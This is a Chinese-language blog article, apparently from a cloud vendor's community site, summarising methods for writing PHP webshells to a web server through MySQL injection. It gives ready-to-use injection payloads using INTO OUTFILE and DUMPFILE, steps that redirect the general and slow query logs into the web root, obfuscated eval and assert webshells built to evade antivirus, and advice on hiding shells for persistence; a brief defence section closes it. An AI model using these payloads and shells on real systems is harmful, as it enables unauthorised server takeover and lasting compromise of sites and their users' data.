MySQL写Shell方法总结

本文涉及的产品
RDS MySQL DuckDB 分析主实例,集群系列 4核8GB
RDS MySQL DuckDB 分析主实例,基础系列 4核8GB
RDS AI 助手,专业版
简介: MySQL注入点,用工具对目标站点写入一句话shell,需要哪些前提条件?

image.png

MySQL注入点,用工具对目标站点写入一句话shell,需要哪些前提条件?


  • root权限以及网站的绝对路径


outfile 和 dumpfile 写Shell


利用条件

数据库当前用户为root权限

知道当前网站的绝对路径

PHP的GPC为OFF状态;(魔术引号,GET、POST、COOKIE)

写入的那个路径要有写入权限


过滤了单引号into outfile 还可以用吗


  • 不能,GPC要OFF才行,可以测试Hex编码


基于UNION联合查询


?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into outfile 'C:\info.php'%23

?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into dumpfile 'C:\info.php'%23


非联合查询


当我们无法使用联合查询时,我们可以使用 fields terminated by lines terminated by 来写Shell


?id=1 into outfile 'C:\info.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23


代替空格的方法


"+" 号、%0a、%0b、%a0、//注释符等**


outfile 和 dumpfile 的区别

outfile

支持多行数据同时导出

使用union联合查询时,要保证两侧查询的列数相同

会在换行符制表符后面追加反斜杠

会在末尾追加换行


dumpfile

每次只能导出一行数据

不会在换行符制表符后面追加反斜杠

不会在末尾追加换行


因此,我们可以使用 into dumpfile 函数来顺利写入二进制文件;into outfile 函数也是可以写入二进制文件的,只不过无法生效(追加的反斜杠会使二进制文件无法生效)


如果服务器端本身的查询语句,结果有多行,但是又想使用dumpfile,应该手动添加 limit 限制


突破 secure_file_priv 写Shell


1、MySQL的secure_file_priv 参数是用来限制 LOAD DATA 、SELECT ....OUTFILE、and LOAD_FILE()传到哪个指定的目录的。

2、当secure_file_priv 的值没有具体值时,表示不对MySQL的导入|导出做出限制,如果是NULL,表示MySQL不允许导入导出。

3、而且在MySQL 5.6.34版本以后 secure_file_priv 的值默认为NULL,并且无法用SQL语句对其进行修改。


基于日志写Shell


1、show variables like '%general%'; --查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复)

2、set global general_log = on;  --开启日志监测,默认关闭(如果一直开文件会很大的)

3、set global general_log_file = '/var/www/html/info.php';  --设置日志路径

4、select '<?php phpinfo();?>';  --执行查询,写入shell

--结束后,恢复日志路径,关闭日志监测


SQL查询免杀shell


outfile被禁止,或者写入文件被拦截,没写权限 ,有root权限


1、select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>";


2、SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>";


慢查询写shell


为什么要用慢查询写呢?上边说过开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错


1、show variables like '%slow_query_log%';  --查看慢查询信息

2、set global slow_query_log=1;    --启用慢查询日志(默认禁用)

3、set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php'; --修改4日志文件路径

4、select '<?php @eval($_POST[abc]);?>' or sleep(11);    --写shell


慢查询


1、因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。

2、一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。

如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中


show global variables like ‘%long_query_time%’ --查看服务器默认时间值


1、通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉

2、拿到shell后上传一个新的shell,删掉原来shell,新shell做隐藏,这样shell可能还能活的时间长些

3、像这种东西还是比较适合那些集成环境,比如,appserv,xampp...因为权限全部都映射到同一个系统用户上了,如果是win平台,权限通常都比较高


其它方法:通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,找上传点 GetShell


防御姿势


1、设置 secure_file_prive = null (不允许导入和导出)

2、防止暴露网站绝对路径

3、正确设置 web 目录权限,除 log、upload 等目录外不授予写权限,upload 目录不授予执行权限


参考文章:https://wiki.wgpsec.org/knowledge/web/mysql-write-shell.html

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
目录
相关文章
|
9月前
|
人工智能 运维 关系型数据库
数据库运维:mysql 数据库迁移方法-mysqldump
本文介绍了MySQL数据库迁移的方法与技巧,重点探讨了数据量大小对迁移方式的影响。对于10GB以下的小型数据库,推荐使用mysqldump进行逻辑导出和source导入;10GB以上可考虑mydumper与myloader工具;100GB以上则建议物理迁移。文中还提供了统计数据库及表空间大小的SQL语句,并讲解了如何使用mysqldump导出存储过程、函数和数据结构。通过结合实际应用场景选择合适的工具与方法,可实现高效的数据迁移。
1484 1
|
12月前
|
SQL 存储 关系型数据库
【YashanDB知识库】共享从 MySQL异常处理CONTINUE HANDLER的改写方法
【YashanDB知识库】共享从 MySQL异常处理CONTINUE HANDLER的改写方法
|
7月前
|
存储 关系型数据库 MySQL
MySQL数据库中进行日期比较的多种方法介绍。
以上方法提供了灵活多样地处理和对比MySQL数据库中存储地不同格式地日子信息方式。根据实际需求选择适当方式能够有效执行所需操作并保证性能优化。
692 10
|
12月前
|
关系型数据库 MySQL Shell
MySQL 备份 Shell 脚本:支持远程同步与阿里云 OSS 备份
一款自动化 MySQL 备份 Shell 脚本,支持本地存储、远程服务器同步(SSH+rsync)、阿里云 OSS 备份,并自动清理过期备份。适用于数据库管理员和开发者,帮助确保数据安全。
|
8月前
|
SQL Oracle 关系型数据库
比较MySQL和Oracle数据库系统,特别是在进行分页查询的方法上的不同
两者的性能差异将取决于数据量大小、索引优化、查询设计以及具体版本的数据库服务器。考虑硬件资源、数据库设计和具体需求对于实现优化的分页查询至关重要。开发者和数据库管理员需要根据自身使用的具体数据库系统版本和环境,选择最合适的分页机制,并进行必要的性能调优来满足应用需求。
401 11
|
10月前
|
SQL 数据采集 关系型数据库
实现MySQL与SQL Server之间数据迁移的有效方法
总的来说,从MySQL到SQL Server的数据迁移是一个涉及到很多步骤的过程,可能会遇到各种问题和挑战。但只要精心规划、仔细执行,这个任务是完全可以完成的。
678 18
|
10月前
|
存储 Unix Shell
确定Shell脚本在操作系统中的具体位置方法。
这对于掌握Linux的文件系统组织结构和路径方面的理解很有帮助,是我们日常工作和学习中都可能使用到的知识。以上讲解详细清晰,应用简便,是每一个想要精通操作系统的计算机爱好者必备的实用技能。
394 17
|
11月前
|
SQL 关系型数据库 MySQL
【MySQL】SQL分析的几种方法
以上就是SQL分析的几种方法。需要注意的是,这些方法并不是孤立的,而是相互关联的。在实际的SQL分析中,我们通常需要结合使用这些方法,才能找出最佳的优化策略。同时,SQL分析也需要对数据库管理系统,数据,业务需求有深入的理解,这需要时间和经验的积累。
380 12
|
11月前
|
SQL 关系型数据库 MySQL
大数据新视界--大数据大厂之MySQL数据库课程设计:MySQL 数据库 SQL 语句调优方法详解(2-1)
本文深入介绍 MySQL 数据库 SQL 语句调优方法。涵盖分析查询执行计划,如使用 EXPLAIN 命令及理解关键指标;优化查询语句结构,包括避免子查询、减少函数使用、合理用索引列及避免 “OR”。还介绍了索引类型知识,如 B 树索引、哈希索引等。结合与 MySQL 数据库课程设计相关文章,强调 SQL 语句调优重要性。为提升数据库性能提供实用方法,适合数据库管理员和开发人员。
|
9月前
|
关系型数据库 MySQL
MySQL字符串拼接方法全解析
本文介绍了四种常用的字符串处理函数及其用法。方法一:CONCAT,用于基础拼接,参数含NULL时返回NULL;方法二:CONCAT_WS,带分隔符拼接,自动忽略NULL值;方法三:GROUP_CONCAT,适用于分组拼接,支持去重、排序和自定义分隔符;方法四:算术运算符拼接,仅适用于数值类型,字符串会尝试转为数值处理。通过示例展示了各函数的特点与应用场景。

推荐镜像

更多